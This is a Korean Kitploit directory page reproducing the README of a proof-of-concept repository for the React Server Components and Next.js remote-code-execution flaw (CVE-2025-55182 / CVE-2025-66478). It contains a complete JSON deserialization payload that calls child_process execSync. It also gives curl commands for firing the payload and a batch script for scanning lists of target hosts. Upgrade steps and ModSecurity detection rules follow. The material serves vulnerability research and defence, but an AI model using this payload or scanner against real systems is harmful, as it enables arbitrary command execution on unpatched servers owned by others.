Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/huahuai23/cve-2025-55182-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubhuahuai23/cve-2025-55182-poc

CVE-2025-55182-POC

React2Shell(CVE-2025-55182) 및 Next.js RSC RCE(CVE-2025-66478) 취약점을 재현하기 위한 최소 MVP입니다. 익스플로잇 페이로드, 배치 스캐닝 스크립트, 완화를 위한 ModSecurity WAF 규칙이 포함되어 있습니다.

저장소 보기
129개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-55182 / CVE-2025-66478 취약점 재현 환경

React2Shell (CVE-2025-55182) 및 Next.js RSC RCE (CVE-2025-66478) 취약점을 재현하기 위한 최소 MVP입니다.

⚠️ 경고

이 프로젝트는 보안 연구 및 교육 목적으로만 사용됩니다. 프로덕션 환경이나 승인되지 않은 시스템에서는 사용하지 마십시오.

취약점 개요

CVE-2025-55182는 React Server Components의 심각한 취약점으로, 다음에 영향을 미칩니다:

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: ≥14.3.0-canary.77, ≥15, ≥16

공격자는 특별히 조작된 multipart/form-data 요청을 통해 Flight Protocol의 역직렬화 취약점을 이용하여 원격 코드 실행(RCE)을 달성할 수 있습니다.

공격 원리

  1. Chunk 참조 획득: $@N 구문을 사용하여 내부 Chunk 객체 획득
  2. 프로토타입 체인 오염: $1:__proto__:then을 통해 악성 then 메서드 주입
  3. 실행 트리거: Server Action이 await 시 오염된 then 메서드 호출
  4. 생성자 하이재킹: _formData.get을 Function 생성자로 하이재킹
  5. 코드 실행: Blob 역직렬화를 통해 임의 코드 실행

빠른 시작

1. 의존성 설치

npm install
# 또는
yarn install
# 또는
pnpm install

2. 개발 서버 시작

npm run dev

서버가 http://localhost:3000에서 시작됩니다.

3. 취약점 테스트

제공된 테스트 스크립트 사용:

# 단일 대상 테스트
./test-exploit.sh http://localhost:3000

# 또는 curl 직접 사용
curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  --data-binary @exploit-payload.txt

취약점이 존재하는 경우, 응답에 uid=와 같은 출력(id 명령어 실행 결과)이 표시됩니다.

파일 구조

.
├── app/
│   ├── actions.ts              # Server Actions (취약점 트리거 지점)
│   ├── page.tsx                # 메인 페이지
│   ├── layout.tsx              # 레이아웃
│   └── globals.css             # 전역 스타일
├── package.json                # 의존성 설정 (영향받는 버전 사용)
├── next.config.js              # Next.js 설정
├── test-exploit.sh             # 단일 대상 취약점 테스트 스크립트
├── scan-targets.sh             # 일괄 스캔 스크립트
├── exploit-payload.txt         # Exploit payload 파일
├── Cve-2025-55182-modsecurity-rules.conf      # ModSecurity 보호 규칙
└── README.md                   # 본 파일

테스트 스크립트 설명

1. test-exploit.sh - 단일 대상 테스트

단일 URL에 취약점이 있는지 테스트:

chmod +x test-exploit.sh
./test-exploit.sh http://localhost:3000

특징: 응답에 uid= 또는 gid=가 포함되어 있으면 취약점이 존재하는 것입니다.

2. scan-targets.sh - 일괄 스캔

여러 대상 URL을 일괄 스캔:

# 대상 목록 파일 생성
cat > targets.txt << EOF
http://localhost:3000
https://example.com
https://api.example.com:8080
EOF

# 일괄 스캔 실행
chmod +x scan-targets.sh
./scan-targets.sh targets.txt

스캔 결과는 vulnerable_hosts.csv에 저장됩니다.

Payload 구조 분석

{
  "then": "$1:__proto__:then",           // then 메서드 하이재킹
  "status": "resolved_model",             // 실행 경로 제어
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",      // Blob 역직렬화 트리거
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"  // Function으로 하이재킹
    }
  }
}

핵심 포인트:

  1. $@0: 첫 번째 form-data 필드를 참조하여 Chunk 객체 획득
  2. $1:proto:then: Chunk.prototype.then에 접근
  3. _response._prefix: 주입된 악성 코드 (Function 생성자에 의해 실행됨)
  4. $1:constructor:constructor: Object.constructor.constructor = Function

수정 방안

방안 1: 수정된 버전으로 업그레이드 (권장)

  • React: 19.0.1, 19.1.2, 19.2.1 이상
  • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 이상
npm install [email protected] [email protected] [email protected]

방안 2: ModSecurity WAF 규칙 배포 (임시 완화)

즉시 업그레이드할 수 없는 경우 ModSecurity 규칙을 배포하여 임시로 완화할 수 있습니다.

Apache + mod_security

# 1. mod_security 설치
sudo apt-get install libapache2-mod-security2

# 2. 규칙 파일 복사
sudo cp modsecurity-rules.conf /etc/modsecurity/

# 3. Apache 설정에 규칙 포함
sudo vim /etc/apache2/mods-enabled/security2.conf
# 추가: Include /etc/modsecurity/modsecurity-rules.conf

# 4. Apache 재시작
sudo systemctl restart apache2

Nginx + ModSecurity

# 1. ModSecurity for Nginx 설치
sudo apt-get install libnginx-mod-security

# 2. 규칙 파일 복사
sudo cp modsecurity-rules.conf /etc/nginx/modsec/

# 3. Nginx 설정에서 활성화
sudo vim /etc/nginx/nginx.conf
# http 또는 server 블록에 추가:
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;

# 4. Nginx 재시작
sudo systemctl restart nginx

규칙 탐지 특징

ModSecurity 규칙은 다음 특징을 차단합니다:

  • ✅ Flight Protocol 특징 ($@N, $BN)
  • ✅ 프로토타입 체인 오염 (__proto__, constructor:constructor)
  • ✅ 위험한 Node.js 모듈 호출 (process.mainModule.require, require('child_process'))
  • ✅ 명령 실행 함수 (execSync, exec)
  • ✅ 내부 객체 조작 (_response, _chunks, _formData, _prefix)
  • ✅ Server Action 요청 헤더 (Next-Action, RSC-Action-ID)

⚠️ 참고: WAF 규칙은 임시 완화 조치일 뿐, 완전한 보호를 제공하지 않습니다. 수정된 버전으로의 업그레이드가 필요합니다.

보안 권장사항

애플리케이션이 영향을 받을 수 있는 경우:

  1. 즉시 탐지: test-exploit.sh 스크립트를 사용하여 애플리케이션 테스트
  2. 즉시 업그레이드: 수정된 버전으로 업그레이드
  3. 키 순환: 모든 환경 변수, API 키, 데이터베이스 암호 순환
  4. 감사 로그: 접근 로그를 확인하여 의심스러운 Next-Action 요청 찾기
  5. WAF 배포: 업그레이드 전에 ModSecurity 규칙을 배포하여 임시 보호

빠른 테스트 curl 명령어

스크립트 없이 curl로 직접 테스트하려면:

curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  --data-binary @exploit-payload.txt

반환 결과에 uid= 또는 gid=가 포함되어 있으면 취약점이 존재하는 것입니다.

참고 자료

  • Vercel 공식 공지
  • React GHSA
  • Next.js GHSA
  • CVE PoC (React)
  • CVE Scanner (Next.js)
  • ModSecurity 문서

감사

  • Lachlan Davidson - 취약점을 발견하고 책임감 있게 보고
  • Meta Security & React Team
  • Vercel Team

라이선스

이 프로젝트는 교육 목적으로만 사용됩니다. 본 코드 사용 시 관련 법규를 준수하시기 바랍니다.

도구 다운로드